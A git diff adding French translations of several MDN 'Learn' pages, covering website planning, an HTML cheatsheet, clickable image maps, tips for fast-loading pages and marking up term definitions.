  • La compatibilité entre navigateurs consiste à essayer de garantir que votre page Web fonctionne sur autant d'appareils que possible. Cela inclut l'utilisation de technologies prises en charge par tous les navigateurs, l'offre de meilleures expériences aux navigateurs qui peuvent les gérer (amélioration progressive) et/ ou l'adaptation du code afin de revenir à une expérience plus simple mais fonctionnelle dans les navigateurs plus anciens (dégradation gracieuse). Cela implique notamment de nombreux tests pour vérifier le bon fonctionnement dans chaque navigateur, puis un travail supplémentaire pour résoudre ces problèmes.
    • +
  • La conception web réactive (responsive) consiste à rendre vos fonctionnalités et mises en page flexibles afin qu'elles puissent s'adapter automatiquement à différents navigateurs. Un exemple immédiat est un site Web qui est présenté d'une certaine manière dans un navigateur grand écran, mais qui s'affiche en une colonne unique plus compacte sur les navigateurs de téléphone mobile. Essayez d'ajuster la largeur de la fenêtre de votre navigateur maintenant pour voir ce qui se passe.
    • +
  • La performance signifie que les sites Web doivent se charger le plus rapidement possible, mais aussi qu'ils doivent être intuitifs et faciles à utiliser afin que les utilisateurs ne soient pas frustrés et ne partent pas ailleurs.
    • +
  • L'accessibilité consiste à rendre vos sites web utilisables par le plus grand nombre de catégories de personnes possible (Un concept lié est la notion de conception inclusive). Cela inclut les individus avec des déficiences visuelles, auditives, cognitives ou physiques. Cela va même au-delà des personnes handicapées — Qu'en est-il des jeunes et des personnes agées, des personnes de cultures différentes, utilisant des appareils mobiles, disposant d'une connection lente ou peu fiable ?
    • +
  • L'internationalisation signifie rendre les sites Web utilisables par des personnes de cultures différentes, qui parlent des langues différentes de la vôtre. cela inclut des considérations techniques (telles que la modification de votre mise en page pour qu'elle fonctionne également pour les langues se lisant de droite à gauche, ou même verticalement), et les considérations sociales (comme l'utilisation d'un langage simple et non argotique afin que les personnes pour qui votre langue est leur deuxième ou troisième langue soient plus susceptibles de comprendre votre texte).
    • +
  • Confidentialité et sécurité. Ces deux concepts sont liés mais différents. La confidentialité consiste à permettre aux gens de vaquer à leurs occupations en privé et à ne pas les espionner ni ne collecter plus de données que ce dont vous avez absolument besoin. La sécurité fait référence à la conception sécurisée de votre site Web afin d'empêcher des utilisateurs malveillants de voler les informations qu'il contient, et ce qu'elle vous appartiennent ou à vos utilisateurs.
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html new file mode 100644 index 0000000000..8fbe02c8ab --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html @@ -0,0 +1,110 @@ +--- +title: Quel sera l'aspect de votre site web ? +slug: Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site +tags: + - Apprendre + - Composition + - Conception + - Débutant + - Planification + - Polices de caractères +translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base","Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}}
+ +
+

Quel sera l'aspect de votre site web ? parle de planifier et concevoir (design), travaux à faire avant d'écrire du code. Voici les questions que cela comprend : « Quelles informations mon site web offrira-t-il ? », « Quelles polices de caractères et quelles couleurs souhaité-je ? » et « Que fait mon site web ? ».

+
+ +

Commençons par le commencement : planification

+ +

Avant de faire quoi que ce soit, vous avez besoin d'idées. Qu'est-ce que votre site web doit-il réellement faire ? Un site web peut pratiquement faire tout ce que vous voulez, mais pour un premier essai, vous devez garder les choses simples. Nous allons commencer par créer une simple page web avec un en-tête, une image et quelques paragraphes.

+ +

Pour commencer, posez-vous ces questions :

+ +
    +
  1. De quoi va parler mon site web ? Aimez-vous les chiens, New York ou Pacman ?
    2. +
  2. Quelles informations vais-je présenter sur le sujet ? Écrivez un titre et quelques paragraphes, et trouvez une image que vous aimeriez mettre sur votre page.
    3. +
  3. Quelle sera l'apparence de mon site web, en simple termes de survol ? Quelle sera la couleur de l'arrière plan ? Quelle sorte de police de caractères est appropriée : formelle, dessin animé, grasse et lourde, subtile ?
    4. +
+ +
+

Note : Les projets complexes nécessitent des lignes directrices (guidelines) détaillées précisant tout : couleurs, polices, espacement entre éléments de la page, style d'écriture adapté, etc. Ceci est parfois appelé un guide de conception ou une charte graphique, vous pouvez en voir un exemple dans Firefox OS Guidelines.

+
+ +

Esquisse de votre concept

+ +

Ensuite, prenez un crayon et du papier et faites une esquisse de l'apparence souhaitée pour votre site. Pour une première et simple page web, il n'y a pas beaucoup à esquisser, mais vous devriez prendre l'habitude de le faire dès maintenant. Cela aide vraiment — vous n'avez pas à être Van Gogh !

+ +

+ +
+

Note : Même sur les sites web réels et complexes, l'équipe de conception commence par faire des esquisses sur papier, puis des maquettes numériques en utilisant un éditeur graphique ou des techniques Web.

+ +

Les équipes Web intègrent souvent un concepteur graphique et {{Glossary("UX", "user-experience")}} (UX). Les concepteurs graphiques, bien sûr, regroupent les visuels du site web. Les concepteurs UX ont un rôle un peu plus abstrait qui consiste à s'occuper de la manière dont les utilisateurs découvriront et interagiront avec le site web.

+
+ +

Choix de vos ressources

+ +

À ce stade, il est bon de commencer à regrouper les contenus qui apparaitront peut-être sur votre page web.

+ +

Texte

+ +

Vous devriez encore avoir vos paragraphes et votre titre puisque vous y avez songé un peu plus tôt. Gardez-les à proximité.

+ +

Couleur du thème

+ +

Pour choisir une couleur, utilisez une palette de couleurs et trouvez une couleur que vous aimez. Quand vous cliquez sur une couleur, vous verrez un étrange code à six caractères comme #660066. Ceci est appelé un code hexadécimal et il représente votre couleur. Copiez le code dans un endroit sûr pour l'instant.

+ +

+ +

Images

+ +

Pour choisir une image, allez sur Google Images et cherchez une image qui convient.

+ +
    +
  1. Quand vous avez trouvé l'image que vous voulez, cliquez sur l'image.
    2. +
  2. Appuyez sur le bouton Afficher l'image.
    3. +
  3. Sur la page suivante, faites un clic-droit sur l'image (Ctrl + clic sur Mac), choisissez Enregistrer l'image sous… et choisissez un endroit sûr pour enregistrer l'image. Ou bien, copiez l'adresse web de l'image depuis la barre d'adresse de votre navigateur pour une utilisation ultérieure.
    4. +
+ +

+ +

+ +
+

Note : La plupart des images sur le Web, dont celles dans Google Images, sont protégées. Pour réduire votre probabilité de commettre une violation de droits d'auteur, vous pouvez utiliser le filtre de licence de Google. Tout simplement 1) cliquez sur Outils de recherche, puis  2) Droits d'usage :

+ +

+
+ +

Police de caractères

+ +

Pour choisir une police :

+ +
    +
  1. Allez sur Google Fonts et faites défiler la page jusqu'à en trouver une que vous aimez. Vous pouvez aussi utiliser les contrôles sur la gauche pour filtrer plus précisément les résultats.
    2. +
  2. Cliquez sur l'icône « + » (ajouter) à côté de la police que vous voulez.
    3. +
  3. Cliquez sur le bouton « * Family Selected » dans le panneau en bas de la page (« * » dépend du nombre de polices sélectionnées).
    4. +
  4. Sur la fenêtre contextuelle suivante, vous pouvez copier les lignes de code que Google vous donne dans votre éditeur de texte pour les garder pour plus tard.
    5. +
+ +

+ +

+ +

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base", "Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/cheatsheet/index.html b/files/fr/learn/html/cheatsheet/index.html new file mode 100644 index 0000000000..4f07dbb7b6 --- /dev/null +++ b/files/fr/learn/html/cheatsheet/index.html @@ -0,0 +1,186 @@ +--- +title: Cheatsheet HTML +slug: Apprendre/HTML/Cheatsheet +tags: + - Cheatsheet + - HTML + - Intermediate + - Learn +translation_of: Learn/HTML/Cheatsheet +--- +
{{draft}}
+ +

Lorsqu'on utilise {{Glossary("HTML")}}, une antisèche, une page rapide et récapitulative (cheatsheet) peut s'avérer plutôt pratique pour se souvenir rapidement de quelle balise HTML utiliser dans quel cas. MDN possède également une documentation HTML exhaustive ainsi que différents tutoriels HTML détaillés. Toutefois, dans la plupart des cas, il suffit juste d'une rapide vérification afin de pouvoir continuer. Cet article, sous la forme d'une antisèche synthétique, est là pour fournir des exemples de codes concis pour les usages les plus fréquents des éléments les plus utilisés.

+ +
+

Rappel : Les balises HTML doivent en premier lieu être utilisées pour leur sémantique et non pour leur apparence. Il est toujours possible de modifier la mise en forme d'une balise donnée grâce à {{Glossary("CSS")}}. Aussi, quand vous utilisez HTML, soyez concentré-e sur la signification plutôt que sur l'apparence finale.

+
+ +

Mise en forme inline

+ +

Un élément dit « en ligne » ou inline prend autant d'espace que nécessaire. Ces éléments sont disposés horizontalement les uns à la suite des autres, à la façon des mots dans une phrase ou des livres dans une bibliothèque.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
UtilisationFragment de codeRésultat
Un lien simple<a href="https://developer.mozilla.org">Un lien vers MDN</a>Un lien vers MDN
Une image simple<img src="https://developer.mozilla.org/media/img/mdn-logo-sm.png" />
Un texte avec emphase<em>Je suis distingué</em>Je suis distingué
Un texte marqué comme important<strong>Je suis important</strong>Je suis important
Un texte mis en avant<mark>Remarquez-moi</mark>Remarquez-moi
Barrer du texte qui n'est plus pertinent<s>Je ne suis plus d'actualité ou plus pertinent</s>Je ne suis plus d'actualité ou plus pertinent
Souligner pour ajouter une annotation non-textuelleCeci est <u>mal orthographié</u>Ceci est mal orthographié
Du texte qui doit être affiché en indiceH<sub>2</sub>OH2O
Du texte qui doit être affiché en exposantM<sup>me</sup> de BovaryMme de Bovary
Une citation dans le cours du texteIl a dit : <q>Je suis ton père.</q>Il a dit : Je suis ton père.
Un saut de ligneLigne 1 <br/> Ligne 2Ligne 1
+ Ligne 2
Du code informatique (code « machine »)<code>System.print.File("coucou")</code>System.print.File("coucou")
Un fichier audio intégré<audio controls src="https://mdn.mozillademos.org/files/2587/AudioTest%20%281%29.mp3">L'élément <code>audio</code> n'est pas supporté.</audio> + +
Un fichier vidéo intégré<video controls src="https://archive.org/download/WebmVp8Vorbis/webmvp8_512kb.mp4">L'élément <code>video</code> n'est pas supporté.</video> + +
+ +

Mise en forme block

+ +

Les éléments de bloc (block en anglais) s'organisent différemment. Ils prennent toute la largeur de la page. Étant donné qu'ils prennent toute cette largeur, on ne peut donc pas les disposer côté à côte horizontalement. Leur organisation sera plutôt celle de paragraphes dans une dissertation ou celle d'étages dans un immeuble.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
UtilisationFragment de codeRésultat
Un paragraphe simple +

<p>Je suis un paragraphe</p>
+ <p>Je suis un autre paragraphe</p>

+ 		+

Je suis un paragraphe

+ +

Je suis un autre paragraphe

+
Une liste non-ordonnée<ul>
+   <li>Je suis un élément</li>
+   <li>Je suis un autre élément</li>
+ <ul>		 +
    +
  • Je suis un élément
    • +
  • Je suis un autre élément
    • +
+
Une liste ordonnée<ol>
+   <li>Je suis le premier élément</li>
+   <li>Je suis le deuxième élément</li>
+ <ol>		 +
    +
  1. Je suis le premier élément
    2. +
  2. Je suis le deuxième élément
    3. +
+
Une ligne horizontale<hr/> +
Des titres de différents niveaux (du plus important au moins important) +

<h2>Un titre de niveau 2</h2>
+ <h3>Un titre de niveau 3</h3>
+ <h4>Un titre de niveau 4</h4>
+ <h5>Un titre de niveau 5</h5>

+ 		+

Un titre de niveau 2

+ +

Un titre de niveau 3

+ +

Un titre de niveau 4

+ +
Un titre de niveau 5
+
diff --git a/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html b/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html new file mode 100644 index 0000000000..836cd29e95 --- /dev/null +++ b/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html @@ -0,0 +1,126 @@ +--- +title: Ajouter une carte de zones cliquables sur une image +slug: Apprendre/HTML/Comment/Ajouter_carte_zones_cliquables_sur_image +tags: + - Guide + - HTML + - Intermediate + - Navigation +translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image +--- +
+

Dans cet article, nous verrons comment construire une carte imagée cliquable en commençant par les inconvénients de cette méthode.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable savoir comment créer un document HTML simple et connaître comment ajouter des images accessibles à une page web.
Objectifs :Apprendre comment faire pour que différentes zones d'une même image pointent vers différentes pages.
+ +
+

Cet article n'aborde que les cartes générées côté client. Les cartes de zones générées côté serveur ne doivent pas être utilisée car elles ne sont accessibles qu'aux utilisateurs ayant des souris.

+
+ +

Les cartes imagées cliquables et leurs inconvénients

+ +

Lorsque vous imbriquez une image dans un élément {{htmlelement("a")}}, l'image entière pointe vers une page web. En revanche, les cartes imagées contiennent plusieurs régions (aussi appelées « hotspots » en anglais) qui pointent chacunes vers une ressource distincte.

+ +

Auparavant, les cartes imagées était assez populaires mais, malgré cette popularité, elles posent quelques problèmes en termes de performances et d'accessibilité.

+ +

Les liens textuels (éventuellement mis en formes avec CSS) sont préférables à ces cartes car ils sont plus légers, plus faciles à maintenir, plus utiles pour le référencement et qu'ils sont supportés par les outils d'accessibilité.

+ +

Comment insérer une carte imagée

+ +

Étape 1 : l'image

+ +

N'importe quelle image ne fera pas l'affaire pour construire une telle carte.

+ +
    +
  • L'image doit indiquer de façon claire ce qui doit se passer quand les visiteurs suivent les liens des différentes zones (le texte contenu dans l'attribut alt est bien entendu obligatoire mais de nombreux visiteurs ne le verront pas).
    • +
  • L'image doit indiquer de façon claire où commencent et où se terminent les différentes régions.
    • +
  • Les différentes zones de la cartes doivent être suffisamment grandes pour qu'on puisse cliquer ou appuyer dessus, quelle que soit la taille de l'écran utilisé. Une image de 72 pixels CSS de long et de large est un minimum acceptable (pour voir le problème posé par de trop petites régions : 50languages.com, où les grandes régions sont suffisamment grande mais où, pour l'Albanie et l'Estonie, c'est beaucoup plus compliqué
    • +
+ +

On insère une image de la même façon que d'habitude (avec un élément {{htmlelement("img")}} et un texte dans l'attribut {{htmlattrxref("alt",'img')}}). Si l'image n'est présente qu'à des fins de navigations, alt peut être laissé vide : alt="", si les valeurs pour les différents {{htmlattrxref("alt",'area')}} sont bien renseignés dans les éléments {{htmlelement('area')}} que nous allons présenter.

+ +

Cette image contiendra une attribut spécial {{htmlattrxref("usemap","img")}}. Celui-ci doit désigner avec un nom unique et sans espace la carte imagée. C'est ce nom qu'on placera dans cet attribut usemap :

+ +
<img
+  src="image-map.png"
+  alt=""
+  usemap="#exemple-map-1" />
+
+ +

Étape 2 : Activer les régions actives

+ +

Dans cette étape, nous allons remplir le code de l'élément {{htmlelement('map')}}. Celui-ci n'a besoin que d'un seul attribut : {{htmlattrxref("name","map")}} dont la valeur doit correspondre à celle utilisée pour l'attribut usemap vue juste avant :

+ +
<map name="exemple-map-1">
+
+</map>
+
+ +

Dans cet élément <map>, on aura besoin d'utiliser les éléments {{htmlelement('area')}}. Chacun de ces éléments correspondra à une région donnée. Afin que la navigation au clavier reste intuitive, il faudra veiller à ce que l'ordre de ces éléments HTML corresponde bien à l'ordre visuel des régions.

+ +

Les éléments <area> sont des éléments vides mais qui utilisent quatres attributs :

+ +
+
{{htmlattrxref('shape','area')}}
+
{{htmlattrxref('coords','area')}}
+
+

shape (« forme » en anglais) prend l'une de ces quatre valeurs : circle (pour un cercle), rect (pour un rectangle), poly (pour un polygone) ou default (une zone default occupera l'image entière à laquelle on aura retiré les autres zones déjà définies). La forme choisie détermine les informations de coordonnées qui seront utiles dans coords.

+ +
    +
  • Pour un cercle (circle) : on fournira les coordonnées X/Y du centre, suivies par la longueur du rayon.
    • +
  • Pour un rectange (rect) : on fournira les coordonnées X/Y des coins haut/gauche et bas/droite.
    • +
  • Pour un polygone (poly) : on fournira les coordonnées X/Y de chacun des sommets (et donc au moins six valeurs).
    • +
+ +

Les coordonnées exprimées sont données en pixels CSS.

+ +

Dans le cas où les définitions de certaines régions se chevauchent, ce sera l'ordre des zones qui donnera la priorité.

+
+
{{htmlattrxref('href','area')}}
+
Cet attribut est l'URL de la ressource vers laquelle on crée un lien. Elle peut être laissée vide si on ne souhaite pas créer de lien pour cette région.
+
{{htmlattrxref('alt','area')}}
+
+

Un attribut obligatoire qui indique aux personnes la direction ou le rôle du lien. Ce texte alt ne sera affiché que lorsque l'image ne sera pas disponible. Pour plus d'informations, voir nos conseils pour écrire des hyperliens accessibles.

+ +

Vous pouvez écrire alt="" si l'attribut href est vide et que l'image entière possède déjà un attribut alt renseigné.

+
+
+ +
<map name="exemple-map-1">
+  <area shape="circle" coords="200,250,25"
+    href="page-2.html" alt="exemple de cercle" />
+
+  <area shape="rect" coords="10, 5, 20, 15"
+    href="page-3.html" alt="exemple de rectangle" />
+
+</map>
+ +

Étape 3 : S'assurer que la carte fonctionne pour chacun

+ +

Ce n'est pas encore fini. Il est nécessaire de s'assurer que la carte fonctionne bien sur différents navigateurs et appareils. Vous pouvez essayer de naviguer en utilisant uniquement de clavier. Vous pouvez également désactiver les images.

+ +

Si votre carte imagée mesure plus de 240px environ, vous devrez réfléchir à comment l'ajuster pour que celle-ci soit adaptative. Il ne suffira pas de redimensionner l'image pour les écrans plus petits car les coordonnées qui resteraient les mêmes ne correspondraient plus aux différents points de l'image.

+ +

Si vous devez nécessairement utiliser de telles cartes, vous pouvez regarder ce plugin jQuery réalisé par Matt Stow. Dudley Storey illustre une méthode qui consiste à utiliser SVG pour réaliser un effet de carte imagée ainsi qu'une bidouille pour les images matricielles avec une combinaison de SVG.

+ +

En savoir plus

+ + diff --git a/files/fr/learn/html/howto/author_fast-loading_html_pages/index.html b/files/fr/learn/html/howto/author_fast-loading_html_pages/index.html new file mode 100644 index 0000000000..58e21b4603 --- /dev/null +++ b/files/fr/learn/html/howto/author_fast-loading_html_pages/index.html @@ -0,0 +1,118 @@ +--- +title: Astuces de création de pages HTML à affichage rapide +slug: Web/Guide/HTML/Astuces_de_création_de_pages_HTML_à_affichage_rapide +tags: + - HTML + - Performance +translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages +--- +

C'est connu, les internautes sont de grands impatients, ils veulent des résultats immédiats, avec des gros titres et des réponses courtes et efficaces. 
+ Une page web optimisé prévoit non seulement un site plus réactif, mais aussi de réduire la charge sur vos serveurs Web et votre connexion Internet. Cela peut être crucial pour les gros sites ou des sites qui ont un pic de trafic dans des circonstances exceptionnelles (telles que les Unes des journaux fracassantes). De plus, Google en tient compte pour son classement.

+ +

Réduire le poids de la page

+ +

Le poids de la page est de loin le facteur le plus important dans les performances de chargement de votre page. Pour les améliorer, on peut procéder de diverses manières:

+ +
    +
  • Eliminer les espaces et les commentaires inutile.
    • +
  • +
    Déplacer le script intégré (ou "inline scripts") et le code CSS dans des fichiers externes (un pour JavaScript, un pour CSS,...). Des outils tels que HTML Tidy peuvent automatiquement enlever les espaces de trop et les lignes vides à partir d'une source HTML valide. D'autres outils peuvent "compresser" JavaScript comme le libre YUIcompressor.
    +
    • +
  • +
    Verifiez que votre site ne contient pas de code inutile ou de tags superflus. 
    +
    • +
+ +

Téléchargez le html d'abords, puis le CSS et le JavaScript nécessaires à son affichage, de sorte que l'utilisateur obtienne rapidement une réponse apparente au cours du chargement de la paget. Ce contenu est généralement du texte, et peuvent donc bénéficier de la compression de texte dans le modem, fournissant ainsi une réponse encore plus rapide à l'utilisateur.

+ +

Réduisez le nombre de fichiers

+ +

Réduire le nombre de fichiers référencés dans une page web diminue le nombre de connexions HTTP nécessaire pour télécharger une page.

+ +
    +
  • Utilisez le moins d'images possible sur votre site (et de gif animés ofc). Preferez des boutons graphiques en CSS.
    • +
  • Compressez vos images (éviter les .png). Vous pouvez pour cela utiliser Gimp ou Imagemagik.
    • +
  • Preferez le CSS ou le JavaScript au flash: il ralenti le navigateur.
    • +
+ +

Les videos sont diffusées progressivement depuis le serveur, elles ne ralentisseent donc pas le chargement de votre page.

+ +

Réduire les domaines des recherches

+ +

Étant donné que chaque requete DNS demande du temps, le temps de chargement de la page va augmenter avec l'augmentation du nombre de domaines séparés figurant dans le lien CSS, JavaScript et image (src). Vous devez toujours prendre soin de n'utiliser que le nombre minimum nécessaire de différents domaines dans vos pages.

+ +

Réutiliser le contenu du cache

+ +

Assurez-vous que tout contenu qui peut être mis en cache, est mis en cache, et avec un temps d'expiration appropriée.
+ En particulier, attention à l'en-tête "Last-Modified". Elle permet la mise en cache de la page; grâce à cette en-tête, l'information est transmise au navigateur (ou "user agent") sur le fichier qu'il veut charger, comme lors de sa dernière modification. La plupart des serveurs web ajoute automatiquement l'en-tête "Last-Modified" aux pages statiques (par exemple. html,. css), basé sur la date de la dernière modification stockées dans le système de fichiers. Avec des pages dynamiques (p. ex. Php,. Aspx), ceci, bien sûr, ne peut pas être fait, et l'en-tête n'est pas envoyé.
+ En particulier pour les pages qui sont générées dynamiquement, une petite recherche sur ce sujet est bénéfique. Il peut être quelque peu complexe, mais il permettra d'économiser beaucoup de demandes de page sur des pages qui ne devraient normalement pas être mis en cache.
+
+ Plus d'informations:
+
+    1. HTTP Conditional Get for RSS Hackers
+    2. HTTP 304: Not Modified
+    3. On HTTP Last-Modified and ETag

+ +

Réduire le nombre de scripts en ligne

+ +

Les scripts intégrés peut être coûteux pour le chargement de la page, puisque l'analyseur (ou parser) doit supposer qu'un script intégré pourrait modifier la structure de la page quand le "parsing" est en cours. Il est donc préférable, en général, de réduire l'utilisation des scripts intégrés et l'utilisation de document.write(), en particulier au contenu de sortie. Ces manipulations peuvent améliorer chargement globale de la page. Utilisez des méthodes modernes de W3C-DOM pour manipuler le contenu de la page pour les navigateurs modernes, plutôt que des approches plus fondées sur document.write ().

+ +

Utilisez le CSS moderne et des balises valides

+ +

L'utilisation de CSS modernes réduit la quantité de balisage, et peut réduire la nécessité de "spacer" les images, en termes de disposition, et peut très souvent remplacer des images de texte stylisé - qui "coutent" beaucoup plus que l'équivalent texte-et-CSS.
+ Utiliser des balises valides a d'autres avantages. Tout d'abord, les navigateurs n'ont pas besoin d'effectuer de corrections d'erreurs lors de l'analyse du code HTML.
+ En outre, la validité du balisage permet la libre utilisation d'autres outils qui peuvent pré-traiter vos pages web. Par exemple, HTML Tidy  peut supprimer des espaces blancs et des balises facultatives, mais il refusera de s'exécuter sur une page avec des erreurs de balisage graves.

+ +

Segmentez votre contenu

+ +

Remplacer la mise en page basé sur des <table> par des blocs <div>, plutôt que des <table> très imbriquée comme dans l'exemple suivant:

+ +
<TABLE>
+  <TABLE>
+    <TABLE>
+          ...
+    </TABLE>
+  </TABLE>
+</TABLE>
+
+
+ +

Préferez des <table> non-imbriquées ou <div> comme dans l'exemple suivant:

+ +
> TABLE <TABLE> ...</
+> TABLE <TABLE> ...</
+> TABLE <TABLE> ...</
+ +

Préciser la taille des images et des tableaux

+ +

Si le navigateur peut immédiatement déterminer la hauteur et/ou la largeur de vos images et tableaux, il sera capable d'afficher une page web sans avoir à refondre le contenu. Cela n'augmente pas seulement la vitesse d'affichage de la page, mais aussi à empêcher les changements gênants dans la disposition d'une page lors du chargement. Pour cette raison, la hauteur et la largeur doit être spécifié pour les images, chaque fois que possible.
+ Les tableaux doivent utiliser le sélecteur CSS selector:property combination:

+ +
  table-layout: fixed;
+
+
+ +

et doit spécifier la largeur des colonnes en utilisant le COL et les balises html COLGROUP.

+ +

Choisissez les versions des navigateur ciblés

+ +


+ Pour atteindre les plus grandes améliorations dans la conception de la page, assurez-vous que des exigences raisonnables de l'agent utilisateur (user-agent) soit définies pour les projets. Cela ne nécessite pas que votre contenu apparaisse parfaitement sur tous les navigateurs, et surtout pas dans les navigateurs d'une version anterieure.
+
+ Idéalement, vous devriez vous concentrez sur l'examen des navigateurs modernes qui prennent en charge des normes pertinentes. Il peut s'agir de: Firefox 5, Internet Explorer 9 sur Windows, Opera 11 sous Windows et Safari 5 sur Mac OS X.
+
+ Notez, cependant, que beaucoup de conseils énumérés dans cette page sont des techniques de bon sens qui s'applique à tous, et peuvent être appliquées à n'importe quelle page web, indépendamment des exigences relatives des navigateurs.

+ +

Liens connexes

+ +


+     * Optimisez vos pages avec Yslow
+     * Livre: "Speed Up Your Site" par Andy King
+     * Site Optimization Tutorial (WebMonkey) (en anglais) 
+     * Best Practices for Speeding Up Your Web Site (en anglais) 

+ +

 

+ +

Document d'information d'origine
+
+     * https://developer.mozilla.org/en/Tips_for_Authoring_Fast-loading_HTML_Pages

diff --git a/files/fr/learn/html/howto/define_terms_with_html/index.html b/files/fr/learn/html/howto/define_terms_with_html/index.html new file mode 100644 index 0000000000..3e8aa64e90 --- /dev/null +++ b/files/fr/learn/html/howto/define_terms_with_html/index.html @@ -0,0 +1,153 @@ +--- +title: Définir des termes avec HTML +slug: Apprendre/HTML/Comment/Définir_des_termes_avec_HTML +tags: + - Beginner + - Guide + - HTML + - Learn +translation_of: Learn/HTML/Howto/Define_terms_with_HTML +--- +
+

HTML fournit plusieurs méthodes pour décrire la sémantique du contenu qu'on emploie (que ce soit intégré dans le texte ou dans un glossaire à part). Dans cet article, nous verrons comment correctement définir les termes utilisés au sein d'un document.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment introduire de nouveaux mots-clés et comment construire une liste de définitions.
+ +

Lorsqu'on souhaite définir un terme, on utilise généralement un dictionnaire ou un glossaire. Les dictionnaires et glossaires permettent d'associer formellement des termes clés avec une ou plusieurs descriptions. Par exemple :

+ +
+
+
Bleu (adjectif)
+
La couleur du ciel lors d'un temps clair.
+ Le ciel est bleu.
+
Se dit d'une viande lorsqu'elle est saisie rapidement, au grill, de chaque côté.
+ Un steak bleu s'il vous plaît.
+
+
+ +

Mais il arrive fréquemment qu'on définisse des termes de façon moins formelle, comme ici :

+ +
+

Firefox est le navigateur web créé et développé par la Fondation Mozilla.

+
+ +

Pour gérer ces différents cas d'utilisation, {{Glossary("HTML")}} fournit différents éléments qui permettent de marquer les termes définis et leurs descriptions afin que vos lecteurs puissent utiliser ces informations.

+ +

Comment écrire un description informelle

+ +

Dans certains manuels, à la première occurence d'un terme, celui-ci est placé en gras et défini immédiatement.

+ +

On peut procéder de cette façon avec HTML. En revanche, HTML ne gère pas l'aspect visuel d'un document, uniquement son contenu. On utilisera l'élément {{htmlelement("dfn")}} qui permet d'identifier la première occurence d'un terme. Attention, <dfn> enveloppe le terme à définir et pas sa définition (qui elle s'étend sur le paragraphe courant) :

+ +
<p><dfn>Firefox</dfn> est le navigateur créé et développé par la Fondation Mozilla.</p>
+
+ +
+

Note : On utilise également parfois le gras pour mettre en avant du contenu. Le gras, en tant que tel, est un concept qui n'appartient pas à HTML mais à la mise en forme. En revanche, pour mettre en avant (utiliser une emphase), il existe des éléments HTML tout indiqués.

+
+ +

Cas spécifique : les abréviations

+ +

En ce qui concerne les abréviations, il est préférable de les identifier séparement grâce à l'élément {{htmlelement("abbr")}} afin que les lecteurs d'écrans puissent les utiliser correctement. Comme pour la définition d'un nouveau terme, une abréviation doit être définie lors de sa première apparition.

+ +
<p>
+  <dfn><abbr>HTML</abbr> (hypertext markup language)</dfn>
+   est un langage de description utilisé pour structurer des documents sur le Web.
+</p>
+ +
+

La spécification HTML met en avant l'attribut title pour expliciter les termes de l'abréviation. Cependant, il reste nécessaire d'utiliser le texte classique pour fournir une explication car le contenu de l'attribut title ne sera pas montré aux utilisateurs, sauf si ceux-ci passent la souris au-dessus de l'abréviation. C'est également ce qui est noté dans les spécifications.

+
+ +

Améliorer l'accessibilité

+ +

{{HTMLElement('dfn')}} identifie le terme qui est défini et indique que le paragraphe courant définit le terme. Il y a donc une relation implicite entre l'élément <dfn> et l'élément qui le contient. Si vous souhaitez avoir une relation plus formelle ou que votre définition ne s'étend que sur une ou plusieurs phrases plutôt que sur l'ensemble du paragraphe, vous pouvez utiliser l'attribut aria-discribedby pour associer, formellement, un terme à sa définition :

+ +
<p>
+  <span id="ff">
+    <dfn aria-describedby="ff">Firefox</dfn>
+    est le navigateur web créé et développé par la Fondation Mozilla.
+  </span>
+  Vous pouvez le télécharger sur <a href="http://www.mozilla.org">mozilla.org</a>
+</p>
+ +

Les technologies d'assistance à la navigation pourront tirer parti de cet attribut pour fournir un texte alternatif pour un terme donné. aria-describedby peut être utilisé pour n'importe quelle balise contenant un mot-clé à définir (il n'est pas nécessaire que ce soit <dfn>). aria-describedby utilise un référence à l'{{htmlattrxref('id')}} de l'élément qui contient la description.

+ +

Comment construire une liste de descriptions

+ +

Les listes de descriptions sont des listes de termes associés à leur description (par exemple une liste de définition, des entrées d'un dictionnaire, une FAQ, des paires de clés-valeurs, etc.).

+ +
+

Les listes de descriptions ne doivent pas être utilisées pour retranscrire des dialogues. En effet, la conversation ne décrit pas les différents interlocuteurs. Voici quelques recommandations pour retranscrire un dialogue dans un document web.

+
+ +

Les termes à décrire sont placés dans des éléments {{htmlelement("dt")}} et la description, qui suit immédiatement, est placée dans un ou plusieurs éléments {{htmlelement("dd")}}. Enfin, l'ensemble de la liste est placé au sein d'un élément {{htmlelement("dl")}}.

+ +

Un exemple simple

+ +

Voici un exemple simple qui dresse une liste de descriptions de plats :

+ +
<dl>
+  <dt>jambalaya</dt>
+    <dd>
+      une entrée à base de riz qui contient généralement
+      du poulet, des saucisses, des fruits de mer et des
+      épices
+    </dd>
+
+  <dt>sukiyaki</dt>
+    <dd>
+      une spécialité japonaise à base de fines tranches de
+      viande, de légumes, de nouilles et qui est cuite dans
+      un sauce soja et du saké
+    </dd>
+
+  <dt>chianti</dt>
+    <dd>
+      un vin italien, sec, originaire de Toscane
+    </dd>
+</dl>
+
+ +
+

